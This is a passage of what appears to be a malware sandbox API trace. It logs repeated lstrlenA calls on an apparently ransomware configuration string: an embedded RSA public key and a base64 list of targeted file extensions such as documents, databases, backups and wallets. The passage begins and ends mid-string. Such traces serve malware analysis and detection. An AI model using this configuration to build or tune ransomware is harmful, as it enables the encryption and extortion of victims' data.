ZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.127] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW